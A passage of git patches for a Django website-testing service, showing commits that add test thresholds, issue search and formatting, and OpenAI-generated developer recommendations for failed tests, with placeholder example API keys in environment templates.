         return response
+    
+    # return dict response
+    print('requested data response')
     return data
 
+    
+    
+
 
 
 

From c052859e686b6b007f64fea899f2bc03297944bd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 17 Jul 2024 13:58:47 -0600
Subject: [PATCH 0594/1099] adding updates for `Issue`

---
 app/api/models.py          |  2 +-
 app/api/tasks.py           | 10 ++++++
 app/api/utils/alerts.py    |  2 +-
 app/api/utils/automater.py | 10 +++---
 app/api/utils/caser.py     | 68 +++++++++++++++++++++++++++--------
 app/api/utils/issuer.py    | 14 ++++----
 app/api/utils/scanner.py   |  3 +-
 app/api/utils/tester.py    | 12 +++----
 app/api/utils/yellowlab.py |  7 ++--
 app/api/v1/auth/views.py   |  1 +
 app/api/v1/ops/services.py | 72 ++++++++++++++++++++++++++++++--------
 app/api/v1/ops/urls.py     |  1 +
 app/api/v1/ops/views.py    | 11 ++++++
 app/scanerr/settings.py    |  2 +-
 14 files changed, 163 insertions(+), 52 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 090bbf9d..41b7a54b 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -507,7 +507,7 @@ class Automation(models.Model):
     actions = models.JSONField(serialize=True, null=True, blank=True, default=get_actions_default)
 
     def __str__(self):
-        return f'{self.name}'
+        return f'{self.id}'
 
 
 
diff --git a/app/api/tasks.py b/app/api/tasks.py
index a7358a17..bde888c7 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -293,6 +293,7 @@ def create_scan(
     # run scan and automation if necessary
     scan = S(scan=created_scan, configs=configs).build_scan()
     if automation_id:
+        print('running automation from `task.create_scan`')
         Automater(automation_id, scan.id).run_automation()
     
     logger.info('Created new scan of site')
@@ -461,6 +462,7 @@ def run_test(self, test_id: str, automation_id: str=None) -> None:
     # execute test
     test = T(test=test).run_test()
     if automation_id:
+        print('running automation from `task.run_test`')
         automater(automation_id, test.id)
 
     logger.info('Test completed')
@@ -481,6 +483,7 @@ def create_test(
         pre_scan: str=None,
         post_scan: str=None,
         tags: list=None,
+        threshold: float=settings.TEST_THRESHOLD,
     ) -> None:
     """ 
     Creates a `post_scan` if necessary, waits for completion,
@@ -496,6 +499,7 @@ def create_test(
         pre_scan      : str,
         post_scan     : str,
         tags          : list,
+        threshold     : float,
     }
     
     Returns -> None
@@ -512,6 +516,8 @@ def create_test(
             page=page,
             type=type,
             tags=tags,
+            threshold=float(threshold),
+            status='working'
         )
 
     # get pre_ & post_ scans
@@ -574,6 +580,7 @@ def create_test_bg(self, *args, **kwargs) -> None:
         automation_id : str
         pre_scan      : str
         post_scan     : str
+        threshold     : float
     }
     
     Returns -> None
@@ -586,6 +593,7 @@ def create_test_bg(self, *args, **kwargs) -> None:
     type = kwargs.get('type')
     configs = kwargs.get('configs')
     tags = kwargs.get('tags')
+    threshold = kwargs.get('threshold')
     automation_id = kwargs.get('automation_id')
     pre_scan = kwargs.get('pre_scan')
     post_scan = kwargs.get('post_scan')
@@ -606,6 +614,7 @@ def create_test_bg(self, *args, **kwargs) -> None:
                 type=type,
                 configs=configs,
                 tags=tags,
+                threshold=float(threshold),
                 pre_scan=pre_scan,
                 post_scan=post_scan,
                 automation_id=automation_id
@@ -620,6 +629,7 @@ def create_test_bg(self, *args, **kwargs) -> None:
             type=type,
             configs=configs,
             tags=tags,
+            threshold=float(threshold),
             pre_scan=pre_scan,
             post_scan=post_scan,
             automation_id=automation_id
diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index cc6eef5d..1f46d823 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -543,7 +543,7 @@ def automation_email(email: str=None, automation_id: str=None, object_id: str=No
         item_type = data['item_type']
 
         # generating expressions from automation
-        exp_list = create_exp_str(
+        exp_list = create_exp(
             item=item, 
             automation=automation
         )['exp_list']
diff --git a/app/api/utils/automater.py b/app/api/utils/automater.py
index b53a7dd2..6551b898 100644
--- a/app/api/utils/automater.py
+++ b/app/api/utils/automater.py
@@ -39,7 +39,7 @@ def get_object(self) -> bool:
         Tries to get the focus object from self.object - if found 
         will set self.object and self.use_exp
 
-        Returns -> bool
+        Returns -> bool or object
         """
 
         if self.automation.schedule.task_type == 'scan':
@@ -94,7 +94,7 @@ def build_exp_list(self) -> None:
             value = str(expression['value'])
 
             # getting data
-            if self.object == None:
+            if self.object:
                 
                 # get comparison value
                 value = str(float(re.search(r'\d+', str(expression['value'])).group()))
@@ -265,7 +265,7 @@ def build_act_list(self) -> None:
                     object_id='{str(self.object_id)}')"
 
             # adding action to act_list
-            self.act_list.append(act)
+            self.act_list.append(action_type)
 
 
 
@@ -273,13 +273,13 @@ def build_act_list(self) -> None:
     def run_automation(self) -> None:
 
         # get object data
-        proceed = self.get_object()
+        self.get_object()
 
         # setting default
         exp_string = '1 == 1'
 
         # if obj was retrieved
-        if proceed:
+        if self.object:
 
             # build expression if self.use_exp
             if self.use_exp:
diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 843c24d1..addbc5af 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -235,8 +235,48 @@ def save_screenshot_s(self) -> str:
         return image_url
 
 
+
+    @sync_to_async
+    def format_exception(self, exception: str) -> str:
+        """ 
+        Cleans the passed `exception` of any 
+        system refs and unnecessary info
+
+        Expects: {
+            "exception": str
+        }
+
+        Returns -> str
+        """
+
+        split_e = str(exception).split('Stacktrace:')
+        new_exception = split_e[0]
+
+        return new_exception
+
+
     
 
+    def format_exception_s(self, exception: str) -> str:
+        """ 
+        Cleans the passed `exception` of any 
+        system refs and unnecessary info
+
+        Expects: {
+            "exception": str
+        }
+
+        Returns -> str
+        """
+
+        split_e = str(exception).split('Stacktrace:')
+        new_exception = split_e[0]
+
+        return new_exception
+
+    
+
+
     def run_s(self) -> None:
         """
         Runs the self.testcase using selenium as the driver
@@ -290,7 +330,7 @@ def run_s(self) -> None:
 
                 except Exception as e:
                     image = self.save_screenshot_s()
-                    exception = e
+                    exception = self.format_exception_s(e)
                     passed = False
 
                 self.update_testcase_s(
@@ -322,7 +362,7 @@ def run_s(self) -> None:
                 
                 except Exception as e:
                     image = self.save_screenshot_s()
-                    exception = e
+                    exception = self.format_exception_s(e)
                     passed = False
 
                 self.update_testcase_s(
@@ -361,7 +401,7 @@ def run_s(self) -> None:
                 
                 except Exception as e:
                     image = self.save_screenshot_s()
-                    exception = e
+                    exception = self.format_exception_s(e)
                     passed = False
 
                 self.update_testcase_s(
@@ -400,7 +440,7 @@ def run_s(self) -> None:
                 
                 except Exception as e:
                     image = self.save_screenshot_s()
-                    exception = e
+                    exception = self.format_exception_s(e)
                     passed = False
 
                 self.update_testcase_s(
@@ -448,7 +488,7 @@ def run_s(self) -> None:
                 
                 except Exception as e:
                     image = self.save_screenshot_s()
-                    exception = e
+                    exception = self.format_exception_s(e)
                     passed = False
 
                 self.update_testcase_s(
@@ -491,7 +531,7 @@ def run_s(self) -> None:
 
                 except Exception as e:
                     image = self.save_screenshot_s()
-                    exception = e
+                    exception = self.format_exception_s(e)
                     passed = False
 
                 self.update_testcase_s(
@@ -528,7 +568,7 @@ def run_s(self) -> None:
 
                 except Exception as e:
                     image = self.save_screenshot_s()
-                    exception = e
+                    exception = self.format_exception_s(e)
                     passed = False
 
                 self.update_testcase_s(
@@ -635,7 +675,7 @@ async def run_p(self) -> None:
 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)
-                    exception = e
+                    exception = await self.format_exception(e)
                     passed = False
 
                 
@@ -667,7 +707,7 @@ async def run_p(self) -> None:
                 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)
-                    exception = e
+                    exception = await self.format_exception(e)
                     passed = False
 
                 await self.update_testcase(
@@ -700,7 +740,7 @@ async def run_p(self) -> None:
                 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)
-                    exception = e
+                    exception = await self.format_exception(e)
                     passed = False
 
                 await self.update_testcase(
@@ -735,7 +775,7 @@ async def run_p(self) -> None:
                 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)
-                    exception = e
+                    exception = await self.format_exception(e)
                     passed = False
 
                 await self.update_testcase(
@@ -763,7 +803,7 @@ async def run_p(self) -> None:
                 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)
-                    exception = e
+                    exception = await self.format_exception(e)
                     passed = False
 
                 await self.update_testcase(
@@ -798,7 +838,7 @@ async def run_p(self) -> None:
 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)
-                    exception = e
+                    exception = await self.format_exception(e)
                     passed = False
 
                 await self.update_testcase(
@@ -827,7 +867,7 @@ async def run_p(self) -> None:
 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)
-                    exception = e
+                    exception = await self.format_exception(e)
                     passed = False
 
                 await self.update_testcase(
diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index 78174996..eca762be 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -85,15 +85,16 @@ def build_issue(self):
 
             # build intro
             intro = str(
-                f'Testcase `{self.testcase.case_name}` failed on **Step {step_index}**,' + 
-                f' `{failed_step["action"]["type"]}`.\n\n'
+                f'Testcase [{self.testcase.case_name}](/{trigger["type"]}/{trigger["id"]})' + 
+                f' failed on **Step {step_index}**, "{failed_step["action"]["type"]}".\n\n' +
+                f' **Affected Site:** [{affected["str"]}](/{affected["type"]}/{affected["id"]})\n\n'
             )
             
             # build main_issue
             main_issue = str(
                 f'### Main Issue or Exception:\n' + 
-                f' ```{failed_step["action"]["exception"]}``` \n\n' +
-                f' <img src="{failed_step["action"]["image"]}" className="max-w-3/4"/> \n\n'
+                f' ```shell\n{failed_step["action"]["exception"]}\n``` \n\n' +
+                f' [View Image]({failed_step["action"]["image"]})\n\n'
             )
 
             # build recommendation
@@ -114,7 +115,7 @@ def build_issue(self):
                         ordered_scores.append({key: self.test.component_scores[key]})
 
             # build components str
-            comp_str = str('| Component | Score |\n|-----|-----|')
+            comp_str = str('| Component | Score |\n|:-----|-----:|')
             for score in ordered_scores:
                 for key in score:
                     comp_str += f'\n| {key} | {round(score[key], 2)} |'
@@ -124,7 +125,8 @@ def build_issue(self):
 
             # build intro
             intro = str(
-                f'Test failed for the page "{self.test.page.page_url}" ' + 
+                f'[Test](/{trigger["type"]}/{trigger["id"]}) failed for the page ' + 
+                f'[{affected["str"]}](/{affected["type"]}/{affected["id"]}) ' + 
                 f'based on the set threshold of {round(self.test.threshold, 2)}%.\n\n'
             )
 
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 93c462f8..62fee1bb 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -373,10 +373,11 @@ def check_scan_completion(scan: object, test_id: str=None, automation_id: str=No
 
         # start Test if test_id present
         if test_id is not None:
-            print('\n-\n---------------\nScan Complete\nStarting Test...\n---------------\n')
+            print('\n\n---------------\nScan Complete\nStarting Test...\n---------------\n\n')
             test = Test.objects.get(id=test_id)
             Tester(test=test).run_test()
             if automation_id:
+                print('running automation from `scanerr.check_scan_completion`')
                 Automater(automation_id, test.id).run_automation()
 
     # returning scan
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index cf57fbfe..e7e66721 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -838,7 +838,7 @@ def run_test(self, index: int=None) -> object:
                 # scores & data
                 yellowlab_data = self.delta_yellowlab()
                 yl_audits_uri = self.get_yl_audits_deltas(scores=yellowlab_data['scores'])
-                yellowlab_data['audits'] = lh_audits_uri
+                yellowlab_data['audits'] = yl_audits_uri
                 yellowlab_avg = yellowlab_data['scores']['average_delta']
                 if yellowlab_avg != None and yellowlab_avg > -100:
                     yellowlab_score = (100 + yellowlab_avg)/100
@@ -905,11 +905,11 @@ def run_test(self, index: int=None) -> object:
         self.test.images_delta = images_data
         self.test.score = score
         self.test.status = 'passed' if score >= self.test.threshold else 'failed'
-        self.test.component_scores['html'] = (micro_diff_score * 100)
-        self.test.component_scores['logs'] = (num_logs_ratio * 100)
-        self.test.component_scores['lighthouse'] = (lighthouse_score * 100)
-        self.test.component_scores['yellowlab'] = (yellowlab_score * 100)
-        self.test.component_scores['vrt'] = (images_score * 100)
+        self.test.component_scores['html'] = (micro_diff_score * 100) if micro_diff_w != 0 else None
+        self.test.component_scores['logs'] = (num_logs_ratio * 100) if num_logs_w != 0 else None
+        self.test.component_scores['lighthouse'] = (lighthouse_score * 100) if delta_lh_w != 0 else None
+        self.test.component_scores['yellowlab'] = (yellowlab_score * 100) if delta_yl_w != 0 else None
+        self.test.component_scores['vrt'] = (images_score * 100) if images_w != 0 else None
         self.test.save()
 
         # updating associated page and site
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 7270f523..f316c0a8 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -21,6 +21,7 @@ def __init__(self, scan=None, configs=None):
         self.site = self.scan.site
         self.page = self.scan.page
         self.configs = configs
+        self.audits_url = ''
 
         # initial audits object
         self.audits = {
@@ -208,11 +209,11 @@ def process_data(self, stdout_json: dict) -> dict:
         os.remove(audit_file)
 
         # updating opjects
-        self.audits = audits_url
+        self.audits_url = audits_url
 
         data = {
             "scores": self.scores, 
-            "audits": self.audits,
+            "audits": self.audits_url,
             "failed": False
         }
 
@@ -251,7 +252,7 @@ def get_data(self):
 
         data = {
             "scores": self.scores, 
-            "audits": self.audits,
+            "audits": self.audits_url,
             "failed": failed
         }
             
diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py
index f2324db5..bcea5525 100644
--- a/app/api/v1/auth/views.py
+++ b/app/api/v1/auth/views.py
@@ -75,6 +75,7 @@ class GetResetLink(APIView):
 
     def post(self, request): 
         response = send_reset_email(request)
+        return response
 
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index d3b25bfa..d91c66b0 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1880,7 +1880,7 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
             page=p,
             type=test_type,
             tags=tags,
-            threshold=threshold,
+            threshold=float(threshold),
             status='working',
         )
 
@@ -1898,6 +1898,7 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
                 pre_scan=pre_scan_id, 
                 post_scan=post_scan_id,
                 tags=tags,
+                threshold=float(threshold),
             )
             message = 'Tests are being created in the background'
 
@@ -2346,7 +2347,7 @@ def create_or_update_issue(request: object=None, **kwargs) -> object:
         trigger = request.data.get('trigger')
         title = request.data.get('title')
         details = request.data.get('details')
-        status = request.data.get('status')
+        _status = request.data.get('status')
         affected = request.data.get('affected')
         labels = request.data.get('labels')
         account = Member.objects.get(user=request.user).account
@@ -2357,7 +2358,7 @@ def create_or_update_issue(request: object=None, **kwargs) -> object:
         trigger = kwargs.get('trigger')
         title = kwargs.get('title')
         details = kwargs.get('details')
-        status = kwargs.get('status')
+        _status = kwargs.get('status')
         affected = kwargs.get('affected')
         labels = kwargs.get('labels')
         account_id = kwargs.get('account_id')
@@ -2374,8 +2375,8 @@ def create_or_update_issue(request: object=None, **kwargs) -> object:
             issue.title = title
         if details is not None:
             issue.details = details
-        if status is not None:
-            issue.status = status
+        if _status is not None:
+            issue.status = _status
         if affected is not None:
             issue.affected = affected
         if labels is not None:
@@ -2456,23 +2457,22 @@ def get_issues(request: object) -> object:
 
     # get all issues scoped page if page_id passed
     if page_id is not None:
-        issues = Issues.objects.filter(
+        issues = Issue.objects.filter(
             affected__icontains={'id': page_id}, 
             account=account
-        ).order_by('-time_created')
-    
+        ).order_by('status', '-time_created')
     # get all issues scoped page if page_id passed
     if site_id is not None:
-        issues = Issues.objects.filter(
+        issues = Issue.objects.filter(
             affected__icontains={'id': site_id}, 
             account=account
-        ).order_by('-time_created')
+        ).order_by('status', '-time_created')
     
     # get all account assocoiated issues
     if issues is None:
-        issues = Issues.objects.filter(
+        issues = Issue.objects.filter(
             account=account
-        ).order_by('-time_created')
+        ).order_by('status', '-time_created')
 
     # serialize and return
     paginator = LimitOffsetPagination()
@@ -2524,6 +2524,42 @@ def get_issue(request: object, id: str) -> object:
 
 
 
+def search_issues(request: object) -> object:
+    """ 
+    Searches for matching `Issues` to the passed 
+    "query"
+
+    Expects: {
+        'request': obejct
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    user = request.user
+    account = Member.objects.get(user=user).account
+    query = request.query_params.get('query')
+    
+    # search for issues
+    issues = Issue.objects.filter(
+        Q(account=account, title__icontains=query) |
+        Q(account=account, details__icontains=query) |
+        Q(account=account, affected__icontains={'str':query})
+    ).order_by('status', '-time_created')
+    
+    # serialize and rerturn
+    paginator = LimitOffsetPagination()
+    result_page = paginator.paginate_queryset(issues, request)
+    serializer_context = {'request': request,}
+    serialized = IssueSerializer(result_page, many=True, context=serializer_context)
+    response = paginator.get_paginated_response(serialized.data)
+    record_api_call(request, response.data, '200')
+    return response 
+
+
+
+
 def delete_issue(request: object, id: str) -> object:
     """ 
     Deletes the `Issue` associated with the passed "id" 
@@ -2588,6 +2624,7 @@ def create_or_update_schedule(request: object) -> object:
     test_type = request.data.get('test_type', settings.TYPES)
     scan_type = request.data.get('scan_type', settings.TYPES)
     configs = request.data.get('configs', settings.CONFIGS)
+    threshold = request.data.get('threshold', settings.TEST_THRESHOLD)
     schedule_id = request.data.get('schedule_id')
     site_id = request.data.get('site_id')
     page_id = request.data.get('page_id')
@@ -2661,6 +2698,7 @@ def create_or_update_schedule(request: object) -> object:
             'configs': configs,
             'case_id': case_id,
             'type': scan_type if task_type == 'scan' else test_type,
+            'threshold': threshold,
             'automation_id': auto_id
         }
 
@@ -2747,7 +2785,8 @@ def create_or_update_schedule(request: object) -> object:
             "test_type": test_type,
             "scan_type": scan_type, 
             "case_id": case_id, 
-            "updates": updates
+            "updates": updates,
+            "threshold": threshold,
         }
         
         # update existing schedule
@@ -3026,6 +3065,7 @@ def create_or_update_automation(request: object) -> object:
         schedule = Schedule.objects.get(id=schedule_id)
     if automation_id:
         automation = Automation.objects.get(id=automation_id)
+        schedule = automation.schedule
 
     # update existing automation
     if automation:
@@ -3076,6 +3116,7 @@ def create_or_update_automation(request: object) -> object:
             'automation_id': str(automation.id),
             'configs': json.loads(task.kwargs).get('configs'), 
             'type': json.loads(task.kwargs).get('type'),
+            'threshold': json.loads(task.kwargs).get('threshold'),
             'case_id': json.loads(task.kwargs).get('case_id'),
             'updates': json.loads(task.kwargs).get('updates')
         }
@@ -4530,13 +4571,15 @@ def get_home_metrics(request: object) -> object:
     Returns -> HTTP Response object
     """
 
-    # get user, account, & sites
+    # get user, account, sites, & issues
     user = request.user
     account = Member.objects.get(user=user).account
     sites = Site.objects.filter(account=account)
+    issues = Issue.objects.filter(account=account, status='open')
     
     # setting defaults
     site_count = sites.count()
+    issues_count = issues.count()
     test_count = 0
     scan_count = 0
     schedule_count = 0
@@ -4556,6 +4599,7 @@ def get_home_metrics(request: object) -> object:
         "tests": test_count,
         "scans": scan_count,
         "schedules": schedule_count,
+        "open_issues": issues_count,
     }
     
     # return response
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index 30804517..37b71a91 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -34,6 +34,7 @@
     path('testcase/delay', views.TestcaseDelay.as_view(), name='testcase-delay'),
     path('testcase/<uuid:id>', views.TestcaseDetail.as_view(), name='testcase-detail'),
     path('issue', views.Issues.as_view(), name='issue'),
+    path('issue/search', views.IssuesSearch.as_view(), name='issue-search'),
     path('issue/<uuid:id>', views.IssueDetail.as_view(), name='issue-detail'),
     path('report', views.Reports.as_view(), name='report'),
     path('report/<uuid:id>', views.ReportDetail.as_view(), name='report-detail'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index eb5aa4f2..006cdc58 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -557,6 +557,17 @@ def get(self, request):
 
 
 
+class IssuesSearch(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = search_issues(request)
+        return response
+
+
+
+
 class IssueDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index bf47dce5..d5e9c18a 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -238,7 +238,7 @@
 
 
 # Global Test.threshold
-TEST_THRESHOLD = 101
+TEST_THRESHOLD = 95
 
 
 # Global Scan & Test types

From be59519d39b647e2f0c228ad4c0437f5aa764b03 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 19 Jul 2024 11:08:20 -0600
Subject: [PATCH 0595/1099] Added AI recommendations to Issues

---
 app/api/utils/issuer.py                     | 108 ++++++++++++++++++--
 app/scanerr/settings.py                     |   4 +
 env/.env.dev.example                        |   5 +
 env/.env.prod.example                       |   6 ++
 env/.env.stage.example                      |   6 ++
 setup/requirements/requirements-staging.txt |   1 +
 setup/requirements/requirements.txt         |   1 +
 7 files changed, 125 insertions(+), 6 deletions(-)

diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index eca762be..ae9e6461 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -1,5 +1,6 @@
 from ..models import *
 from scanerr import settings
+from openai import OpenAI
 import time, os, json, uuid, random, boto3
 
 
@@ -33,6 +34,11 @@ def __init__(
         # main objects
         self.test = test
         self.testcase = testcase
+        
+        # init GPT client
+        self.gpt_client = OpenAI(
+            api_key=settings.GPT_API_KEY,
+        )
 
 
     
@@ -85,9 +91,9 @@ def build_issue(self):
 
             # build intro
             intro = str(
-                f'Testcase [{self.testcase.case_name}](/{trigger["type"]}/{trigger["id"]})' + 
-                f' failed on **Step {step_index}**, "{failed_step["action"]["type"]}".\n\n' +
-                f' **Affected Site:** [{affected["str"]}](/{affected["type"]}/{affected["id"]})\n\n'
+                f'#### Testcase [{self.testcase.case_name}](/{trigger["type"]}/{trigger["id"]})' + 
+                f' failed on **Step {step_index}**, `{failed_step["action"]["type"]}`.\n\n' +
+                f' **Affected Site:** [{affected["str"]}](/{affected["type"]}/{affected["id"]})\n\n\n'
             )
             
             # build main_issue
@@ -98,8 +104,12 @@ def build_issue(self):
             )
 
             # build recommendation
+            response = self.build_recommendation(
+                details = str(intro + main_issue)
+            )
             recommendation = str(
-                f''
+                f'\n\n### Recommendations:\n' +
+                f'{response}'
             )
 
         # building details, title, & labels 
@@ -120,6 +130,15 @@ def build_issue(self):
                 for key in score:
                     comp_str += f'\n| {key} | {round(score[key], 2)} |'
 
+            # adjusting component names in table
+            comp_str = comp_str.replace(
+                    'vrt', 
+                    'visual regression (vrt)'
+                ).replace(
+                    'html', 
+                    'html regression (html)'
+                )
+
             # build title
             title = f'Test Failed at {round(self.test.score, 2)}%'
 
@@ -127,7 +146,7 @@ def build_issue(self):
             intro = str(
                 f'[Test](/{trigger["type"]}/{trigger["id"]}) failed for the page ' + 
                 f'[{affected["str"]}](/{affected["type"]}/{affected["id"]}) ' + 
-                f'based on the set threshold of {round(self.test.threshold, 2)}%.\n\n'
+                f'based on the set threshold of {round(self.test.threshold, 2)}%.\n\n\n'
             )
 
             # build main_issue
@@ -137,8 +156,12 @@ def build_issue(self):
             )
 
             # build recommendation
+            response = self.build_recommendation(
+                details = str(intro + main_issue)
+            )
             recommendation = str(
-                f''
+                f'\n\n### Recommendations:\n' +
+                f'{response}'
             )
 
         # build details from components
@@ -160,3 +183,76 @@ def build_issue(self):
 
 
 
+    def build_recommendation(
+            self, 
+            details: str=None,
+        ) -> str:
+        """ 
+        Using OpenAI's Chat GPT, composes a personalized 
+        `recommendation` for the primary `Issue` being created. 
+
+        Expcets: {
+            'details' : str,
+        }
+
+        Returns -> str    
+        """
+
+        # initializing
+        recommendation = ''
+
+        # building recomendation
+        # for self.test
+        if self.test:
+            
+            # send the initial request
+            recommendation = self.gpt_client.chat.completions.create(
+                model="gpt-4o-mini", # old model -> gpt-3.5-turbo
+                messages=[
+                    {
+                        "role": "user", 
+                        "content": f"Create a recommendation for developers \
+                            baseded on this generated issue: '\n\n{details}\n\n'. \
+                            The components are portions of a regression test of a website. \
+                            Format with markdown. \
+                            Format each recommendation as a markdown task. \
+                            Omit the title or header in your response. \
+                            Remove any disclaimer or note section. \
+                            Remove any reference to 'Test Cases'. \
+                            Remove and reference to 'visual comparison tools'. \
+                            Max Length of Response: 170 words. \
+                            Tone: Instructive"
+                    },
+                ]
+            ).choices[0].message.content
+        
+        # building recomendation
+        # for self.testcase
+        if self.testcase:
+
+            # send the initial request
+            recommendation = self.gpt_client.chat.completions.create(
+                model="gpt-4o-mini", # old model -> gpt-3.5-turbo
+                messages=[
+                    {
+                        "role": "user", 
+                        "content": f"Create a recommendation for developers \
+                            baseded on this generated issue: '\n\n{details}\n\n'. \
+                            Format with markdown. \
+                            Format each recommendation as a markdown task. \
+                            Omit the title or header in your response. \
+                            Remove any disclaimer or notes section. \
+                            Remove any reference to selenium documentation. \
+                            Max Length of Response: 170 words. \
+                            Tone: Instructive"
+                    },
+                ]
+            ).choices[0].message.content
+
+        # return recommendation 
+        return recommendation
+
+    
+
+
+
diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index d5e9c18a..e14a55a1 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -213,6 +213,10 @@
 GOOGLE_CRUX_KEY = os.environ.get('GOOGLE_CRUX_KEY')
 
 
+# OpenAI's GPT API key
+GPT_API_KEY = os.environ.get('GPT_API_KEY')
+
+
 # Stripe keys
 if os.environ.get('STRIPE_ENV') == 'prod':
     STRIPE_PUBLIC = os.environ.get('STRIPE_PUBLIC_LIVE')
diff --git a/env/.env.dev.example b/env/.env.dev.example
index e4bee11c..31444d84 100644
--- a/env/.env.dev.example
+++ b/env/.env.dev.example
@@ -91,5 +91,10 @@ AWS_DEFAULT_ACL = public-read
 
 
 
+# OpenAI API key
+GPT_API_KEY = sk-123450989776124ni989wed23e9dub # example
+
+
+
 # Self Hosted Cred
 CRED = ask-for-this-cred-before-deploying
\ No newline at end of file
diff --git a/env/.env.prod.example b/env/.env.prod.example
index fa74795b..9d6d9f46 100644
--- a/env/.env.prod.example
+++ b/env/.env.prod.example
@@ -87,6 +87,12 @@ AWS_LOCATION = static
 AWS_DEFAULT_ACL = public-read
 
 
+
+# OpenAI API key
+GPT_API_KEY = sk-123450989776124ni989wed23e9dub # example
+
+
+
 # Self Hosted Cred
 CRED = ask-for-this-cred-before-deploying
 
diff --git a/env/.env.stage.example b/env/.env.stage.example
index e79c8a99..422f0828 100644
--- a/env/.env.stage.example
+++ b/env/.env.stage.example
@@ -83,6 +83,12 @@ AWS_LOCATION = static
 AWS_DEFAULT_ACL = public-read
 
 
+
+# OpenAI API key
+GPT_API_KEY = sk-123450989776124ni989wed23e9dub # example
+
+
+
 # Self Hosted Cred
 CRED = ask-for-this-cred-before-deploying
 
diff --git a/setup/requirements/requirements-staging.txt b/setup/requirements/requirements-staging.txt
index 67a4e702..79d05b21 100644
--- a/setup/requirements/requirements-staging.txt
+++ b/setup/requirements/requirements-staging.txt
@@ -26,6 +26,7 @@ imutils==0.5.4
 kombu==5.3.7
 Markdown==3.6
 numpy~=1.26.4
+openai==1.35.14
 opencv-python==4.5.5.64
 Pillow==10.3.0
 prometheus-client==0.8.0
diff --git a/setup/requirements/requirements.txt b/setup/requirements/requirements.txt
index 929183ba..355932a0 100644
--- a/setup/requirements/requirements.txt
+++ b/setup/requirements/requirements.txt
@@ -26,6 +26,7 @@ imutils==0.5.4
 kombu==5.1.0
 Markdown==3.3.4
 numpy==1.22.3
+openai==1.35.14
 opencv-python==4.5.5.64
 Pillow==9.0.1
 prometheus-client==0.8.0

From aacec85dd7185a1870d2c1c43e4adf349638ba27 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 19 Jul 2024 11:29:35 -0600
Subject: [PATCH 0596/1099] updated AI prompt fro testcases

---
 app/api/utils/issuer.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index ae9e6461..dbb0b443 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -92,7 +92,7 @@ def build_issue(self):
             # build intro
             intro = str(
                 f'#### Testcase [{self.testcase.case_name}](/{trigger["type"]}/{trigger["id"]})' + 
-                f' failed on **Step {step_index}**, `{failed_step["action"]["type"]}`.\n\n' +
+                f' failed on **Step {step_index}**, `{failed_step["action"]["type"]}`.\n\n\n' +
                 f' **Affected Site:** [{affected["str"]}](/{affected["type"]}/{affected["id"]})\n\n\n'
             )
             
@@ -243,6 +243,7 @@ def build_recommendation(
                             Omit the title or header in your response. \
                             Remove any disclaimer or notes section. \
                             Remove any reference to selenium documentation. \
+                            Remove any reference of 'alternative selector strategies'. \
                             Max Length of Response: 170 words. \
                             Tone: Instructive"
                     },

From 46695f6f602ab73c1113f8f9677c3b3d7841bfef Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 22 Jul 2024 15:51:22 -0600
Subject: [PATCH 0597/1099] updates for Account & Billing views

---
 app/api/models.py              |  9 ++++
 app/api/utils/caser.py         |  4 +-
 app/api/utils/issuer.py        |  2 +-
 app/api/utils/tester.py        |  2 +-
 app/api/v1/auth/serializers.py |  3 +-
 app/api/v1/auth/services.py    |  7 +++-
 app/api/v1/billing/services.py |  8 ----
